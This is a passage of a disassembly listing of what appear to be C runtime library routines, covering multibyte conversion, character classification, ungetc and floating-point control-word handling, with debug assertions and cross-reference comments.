loc_434238:				; CODE XREF: sub_434200+18j
		mov	[ebp+var_4], 0


loc_43423F:				; CODE XREF: sub_434200+36j
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_434280
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_434268
		push	13h
		call	sub_425A30
		add	esp, 4
		jmp	short loc_434273
; ---------------------------------------------------------------------------


loc_434268:				; CODE XREF: sub_434200+5Aj
		push	offset dword_4E96A8
		call	near ptr 2950A89h
		nop


loc_434273:				; CODE XREF: sub_434200+66j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_434200	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434280	proc near		; CODE XREF: sub_434200+4Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi


loc_434286:				; CODE XREF: sub_434280+3Aj
		cmp	dword_4524F0, 1
		jz	short loc_4342B6
		cmp	dword_4524F0, 2
		jz	short loc_4342B6
		push	offset aMb_cur_max1Mb_ ; "MB_CUR_MAX ==	1 || MB_CUR_MAX	== 2"
		push	0
		push	4Fh
		push	offset dword_43F710
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4342B6
		int	3		; Trap to Debugger


loc_4342B6:				; CODE XREF: sub_434280+Dj
					; sub_434280+16j ...
		xor	eax, eax
		test	eax, eax
		jnz	short loc_434286
		cmp	[ebp+arg_4], 0
		jz	short loc_4342C8
		cmp	[ebp+arg_8], 0
		jnz	short loc_4342CF


loc_4342C8:				; CODE XREF: sub_434280+40j
		xor	eax, eax
		jmp	loc_4343D9
; ---------------------------------------------------------------------------


loc_4342CF:				; CODE XREF: sub_434280+46j
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_4342EE
		cmp	[ebp+arg_0], 0
		jz	short loc_4342E7
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax],	0


loc_4342E7:				; CODE XREF: sub_434280+5Dj
		xor	eax, eax
		jmp	loc_4343D9
; ---------------------------------------------------------------------------


loc_4342EE:				; CODE XREF: sub_434280+57j
		cmp	dword_4E92E4, 0
		jnz	short loc_434314
		cmp	[ebp+arg_0], 0
		jz	short loc_43430A
		mov	ecx, [ebp+arg_4]
		movzx	dx, byte ptr [ecx]
		mov	eax, [ebp+arg_0]
		mov	[eax], dx


loc_43430A:				; CODE XREF: sub_434280+7Bj
		mov	eax, 1
		jmp	loc_4343D9
; ---------------------------------------------------------------------------


loc_434314:				; CODE XREF: sub_434280+75j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_43439D
		cmp	dword_4524F0, 1
		jle	short loc_434370
		mov	edx, [ebp+arg_8]
		cmp	edx, dword_4524F0
		jl	short loc_434370
		xor	eax, eax
		cmp	[ebp+arg_0], 0
		setnz	al
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, dword_4524F0
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		push	9
		mov	ecx, dword_4E92F4
		push	ecx
		call	near ptr 2910000h
		nop
		test	eax, eax
		jnz	short loc_434396


loc_434370:				; CODE XREF: sub_434280+B7j
					; sub_434280+C2j
		mov	edx, [ebp+arg_8]
		cmp	edx, dword_4524F0
		jb	short loc_434386
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax+1]
		test	ecx, ecx
		jnz	short loc_434396


loc_434386:				; CODE XREF: sub_434280+F9j
		call	sub_42C1E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4343D9
; ---------------------------------------------------------------------------


loc_434396:				; CODE XREF: sub_434280+EEj
					; sub_434280+104j
		mov	eax, dword_4524F0
		jmp	short loc_4343D9
; ---------------------------------------------------------------------------


loc_43439D:				; CODE XREF: sub_434280+AEj
		xor	edx, edx
		cmp	[ebp+arg_0], 0
		setnz	dl
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	9
		mov	edx, dword_4E92F4
		push	edx
		call	near ptr 2910000h
		nop
		test	eax, eax
		jnz	short loc_4343D4
		call	sub_42C1E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4343D9
; ---------------------------------------------------------------------------


loc_4343D4:				; CODE XREF: sub_434280+142j
		mov	eax, 1


loc_4343D9:				; CODE XREF: sub_434280+4Aj
					; sub_434280+69j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_434280	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4524F0, 1
		jle	short loc_434403
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_43441A
; ---------------------------------------------------------------------------


loc_434403:				; CODE XREF: .XComp0:004343EBj
		mov	ecx, [ebp+8]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 103h
		mov	[ebp-4], eax


loc_43441A:				; CODE XREF: .XComp0:00434401j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4524F0, 1
		jle	short loc_434450
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_434465
; ---------------------------------------------------------------------------


loc_434450:				; CODE XREF: .XComp0:0043443Bj
		mov	ecx, [ebp+8]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 1
		mov	[ebp-4], eax


loc_434465:				; CODE XREF: .XComp0:0043444Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4524F0, 1
		jle	short loc_434490
		push	2
		mov	eax, [ebp+8]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4344A5
; ---------------------------------------------------------------------------


loc_434490:				; CODE XREF: .XComp0:0043447Bj
		mov	ecx, [ebp+8]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 2
		mov	[ebp-4], eax


loc_4344A5:				; CODE XREF: .XComp0:0043448Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4524F0, 1
		jle	short loc_4344D0
		push	4
		mov	eax, [ebp+8]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4344E5
; ---------------------------------------------------------------------------


loc_4344D0:				; CODE XREF: .XComp0:004344BBj
		mov	ecx, [ebp+8]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp-4], eax


loc_4344E5:				; CODE XREF: .XComp0:004344CEj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4524F0, 1
		jle	short loc_434513
		push	80h
		mov	eax, [ebp+8]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_43452A
; ---------------------------------------------------------------------------


loc_434513:				; CODE XREF: .XComp0:004344FBj
		mov	ecx, [ebp+8]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 80h
		mov	[ebp-4], eax


loc_43452A:				; CODE XREF: .XComp0:00434511j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434540	proc near		; CODE XREF: sub_42C5E0+105p
					; sub_42DAA0+24p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_434544:				; DATA XREF: .XComp0:00453214o
		cmp	dword_4524F0, 1
		jle	short loc_434560
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_434575
; ---------------------------------------------------------------------------


loc_434560:				; CODE XREF: sub_434540+Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8
		mov	[ebp+var_4], eax


loc_434575:				; CODE XREF: sub_434540+1Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_434540	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4524F0, 1
		jle	short loc_4345A0
		push	10h
		mov	eax, [ebp+8]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4345B5
; ---------------------------------------------------------------------------


loc_4345A0:				; CODE XREF: .XComp0:0043458Bj
		mov	ecx, [ebp+8]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 10h
		mov	[ebp-4], eax


loc_4345B5:				; CODE XREF: .XComp0:0043459Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4524F0, 1
		jle	short loc_4345E3
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4345FA
; ---------------------------------------------------------------------------


loc_4345E3:				; CODE XREF: .XComp0:004345CBj
		mov	ecx, [ebp+8]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 107h
		mov	[ebp-4], eax


loc_4345FA:				; CODE XREF: .XComp0:004345E1j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4524F0, 1
		jle	short loc_434633
		push	157h
		mov	eax, [ebp+8]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_43464A
; ---------------------------------------------------------------------------


loc_434633:				; CODE XREF: .XComp0:0043461Bj
		mov	ecx, [ebp+8]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 157h
		mov	[ebp-4], eax


loc_43464A:				; CODE XREF: .XComp0:00434631j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4524F0, 1
		jle	short loc_434683
		push	117h
		mov	eax, [ebp+8]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_43469A
; ---------------------------------------------------------------------------


loc_434683:				; CODE XREF: .XComp0:0043466Bj
		mov	ecx, [ebp+8]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 117h
		mov	[ebp-4], eax


loc_43469A:				; CODE XREF: .XComp0:00434681j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4524F0, 1
		jle	short loc_4346D0
		push	20h
		mov	eax, [ebp+8]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4346E5
; ---------------------------------------------------------------------------


loc_4346D0:				; CODE XREF: .XComp0:004346BBj
		mov	ecx, [ebp+8]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 20h
		mov	[ebp-4], eax


loc_4346E5:				; CODE XREF: .XComp0:004346CEj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 80h
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 7Fh
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_4524F0, 1
		jle	short loc_434735
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_43474C
; ---------------------------------------------------------------------------


loc_434735:				; CODE XREF: .XComp0:0043471Dj
		mov	ecx, [ebp+8]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 103h
		mov	[ebp-4], eax


loc_43474C:				; CODE XREF: .XComp0:00434733j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_434761
		cmp	dword ptr [ebp+8], 5Fh
		jz	short loc_434761
		mov	dword ptr [ebp-8], 0
		jmp	short loc_434768
; ---------------------------------------------------------------------------


loc_434761:				; CODE XREF: .XComp0:00434750j
					; .XComp0:00434756j
		mov	dword ptr [ebp-8], 1


loc_434768:				; CODE XREF: .XComp0:0043475Fj
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_4524F0, 1
		jle	short loc_434795
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4347AC
; ---------------------------------------------------------------------------


loc_434795:				; CODE XREF: .XComp0:0043477Dj
		mov	ecx, [ebp+8]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 107h
		mov	[ebp-4], eax


loc_4347AC:				; CODE XREF: .XComp0:00434793j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_4347C1
		cmp	dword ptr [ebp+8], 5Fh
		jz	short loc_4347C1
		mov	dword ptr [ebp-8], 0
		jmp	short loc_4347C8
; ---------------------------------------------------------------------------


loc_4347C1:				; CODE XREF: .XComp0:004347B0j
					; .XComp0:004347B6j
		mov	dword ptr [ebp-8], 1


loc_4347C8:				; CODE XREF: .XComp0:004347BFj
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4347D0	proc near		; CODE XREF: sub_42C5E0+9D7p
					; sub_42C5E0+A65p ...
		cmp	cl, 40h
		jnb	short loc_4347EA
		cmp	cl, 20h
		jnb	short loc_4347E0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4347E0:				; CODE XREF: sub_4347D0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4347EA:				; CODE XREF: sub_4347D0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4347D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_4347F7:				; CODE XREF: .XComp0:0043481Fj
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_43481B
		push	offset dword_43E494
		push	0
		push	31h
		push	offset aUngetc_c ; "ungetc.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_43481B
		int	3		; Trap to Debugger


loc_43481B:				; CODE XREF: .XComp0:004347FBj
					; .XComp0:00434818j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4347F7
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_424B30
		add	esp, 4
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_434860
		add	esp, 8
		mov	[ebp-4], eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_424BA0
		add	esp, 4
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434860	proc near		; CODE XREF: sub_42DA80+11p
					; .XComp0:00434835p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_434867:				; CODE XREF: sub_434860+2Fj
		cmp	[ebp+arg_4], 0
		jnz	short loc_43488B
		push	offset dword_43E4A4
		push	0
		push	60h
		push	offset aUngetc_c ; "ungetc.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_43488B
		int	3		; Trap to Debugger


loc_43488B:				; CODE XREF: sub_434860+Bj
					; sub_434860+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_434867
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_4348C7
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 1
		test	eax, eax
		jnz	short loc_4348CF
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_4348C7
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_4348CF


loc_4348C7:				; CODE XREF: sub_434860+3Bj
					; sub_434860+58j
		or	eax, 0FFFFFFFFh
		jmp	loc_434997
; ---------------------------------------------------------------------------


loc_4348CF:				; CODE XREF: sub_434860+48j
					; sub_434860+65j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jnz	short loc_4348E4
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_433A30
		add	esp, 4


loc_4348E4:				; CODE XREF: sub_434860+76j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	eax, [ecx]
		cmp	eax, [edx+8]
		jnz	short loc_43490F
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_434902
		or	eax, 0FFFFFFFFh
		jmp	loc_434997
; ---------------------------------------------------------------------------


loc_434902:				; CODE XREF: sub_434860+98j
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax


loc_43490F:				; CODE XREF: sub_434860+8Fj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 40h
		test	eax, eax
		jz	short loc_43494D
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+var_4]
		mov	[eax], edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		movsx	ecx, byte ptr [ebp+arg_0]
		cmp	eax, ecx
		jz	short loc_43494B
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		or	eax, 0FFFFFFFFh
		jmp	short loc_434997
; ---------------------------------------------------------------------------


loc_43494B:				; CODE XREF: sub_434860+D7j
		jmp	short loc_434964
; ---------------------------------------------------------------------------


loc_43494D:				; CODE XREF: sub_434860+BAj
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl


loc_434964:				; CODE XREF: sub_434860:loc_43494Bj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	al, 0EFh
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh


loc_434997:				; CODE XREF: sub_434860+6Aj
					; sub_434860+9Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_434860	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4349A0	proc near		; CODE XREF: sub_42E5B0+5Ap
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_4349A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fstsw	word ptr [ebp-4]
		mov	ax, [ebp-4]
		push	eax
		call	sub_434DA0
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fnstsw	word ptr [ebp-4]
		fnclex
		mov	ax, [ebp-4]
		push	eax
		call	sub_434DA0
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4349F0	proc near		; CODE XREF: sub_434A40+10p

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		fstcw	[ebp+var_10]
		mov	ax, [ebp+var_10]
		push	eax
		call	sub_434AC0
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_4]
		not	edx
		mov	eax, [ebp+var_8]
		and	eax, edx
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_434C40
		add	esp, 4
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4349F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434A40	proc near		; CODE XREF: sub_42EB00+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4349F0
		add	esp, 8
		pop	ebp
		retn
sub_434A40	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	sub_4330F0
		mov	eax, [eax]
		mov	[ebp-4], eax
		fninit
		call	sub_42EB00
		cmp	dword ptr [ebp-4], 0
		jz	short loc_434AB1
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
		mov	eax, [edx]
		and	eax, 10008h
		test	eax, eax
		jz	short loc_434AB1
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
		add	edx, 1Ch
		mov	[ebp-8], edx
		mov	eax, [ebp-8]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp-8]
		mov	dword ptr [ecx+8], 0FFFFh


loc_434AB1:				; CODE XREF: .XComp0:00434A7Ej
					; .XComp0:00434A8Fj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434AC0	proc near		; CODE XREF: sub_4349F0+12p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1
		test	eax, eax
		jz	short loc_434AE5
		mov	ecx, [ebp+var_4]
		or	ecx, 10h
		mov	[ebp+var_4], ecx


loc_434AE5:				; CODE XREF: sub_434AC0+1Aj
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 4
		test	edx, edx
		jz	short loc_434AFD
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_434AFD:				; CODE XREF: sub_434AC0+33j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_434B16
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx


loc_434B16:				; CODE XREF: sub_434AC0+4Bj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jz	short loc_434B2E
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx


loc_434B2E:				; CODE XREF: sub_434AC0+63j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 20h
		test	edx, edx
		jz	short loc_434B46
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax


loc_434B46:				; CODE XREF: sub_434AC0+7Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_434B62
		mov	edx, [ebp+var_4]
		or	edx, 80000h
		mov	[ebp+var_4], edx


loc_434B62:				; CODE XREF: sub_434AC0+94j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 0C00h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 800h
		jg	short loc_434B95
		cmp	[ebp+var_8], 800h
		jz	short loc_434BA8
		cmp	[ebp+var_8], 0
		jz	short loc_434BA0
		cmp	[ebp+var_8], 400h
		jz	short loc_434BB3
		jmp	short loc_434BC7
; ---------------------------------------------------------------------------


loc_434B95:				; CODE XREF: sub_434AC0+B9j
		cmp	[ebp+var_8], 0C00h
		jz	short loc_434BBE
		jmp	short loc_434BC7
; ---------------------------------------------------------------------------


loc_434BA0:				; CODE XREF: sub_434AC0+C8j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_434BC7
; ---------------------------------------------------------------------------


loc_434BA8:				; CODE XREF: sub_434AC0+C2j
		mov	edx, [ebp+var_4]
		or	dh, 2
		mov	[ebp+var_4], edx
		jmp	short loc_434BC7
; ---------------------------------------------------------------------------


loc_434BB3:				; CODE XREF: sub_434AC0+D1j
		mov	eax, [ebp+var_4]
		or	ah, 1
		mov	[ebp+var_4], eax
		jmp	short loc_434BC7
; ---------------------------------------------------------------------------


loc_434BBE:				; CODE XREF: sub_434AC0+DCj
		mov	ecx, [ebp+var_4]
		or	ch, 3
		mov	[ebp+var_4], ecx


loc_434BC7:				; CODE XREF: sub_434AC0+D3j
					; sub_434AC0+DEj ...
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 300h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jz	short loc_434C09
		cmp	[ebp+var_C], 200h
		jz	short loc_434BFB
		cmp	[ebp+var_C], 300h
		jz	short loc_434BF3
		jmp	short loc_434C15
; ---------------------------------------------------------------------------


loc_434BF3:				; CODE XREF: sub_434AC0+12Fj
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		jmp	short loc_434C15
; ---------------------------------------------------------------------------


loc_434BFB:				; CODE XREF: sub_434AC0+126j
		mov	ecx, [ebp+var_4]
		or	ecx, 10000h
		mov	[ebp+var_4], ecx
		jmp	short loc_434C15
; ---------------------------------------------------------------------------


loc_434C09:				; CODE XREF: sub_434AC0+11Dj
		mov	edx, [ebp+var_4]
		or	edx, 20000h
		mov	[ebp+var_4], edx


loc_434C15:				; CODE XREF: sub_434AC0+131j
					; sub_434AC0+139j ...
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1000h
		test	eax, eax
		jz	short loc_434C32
		mov	ecx, [ebp+var_4]
		or	ecx, 40000h
		mov	[ebp+var_4], ecx


loc_434C32:				; CODE XREF: sub_434AC0+164j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_434AC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434C40	proc near		; CODE XREF: sub_4349F0+36p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
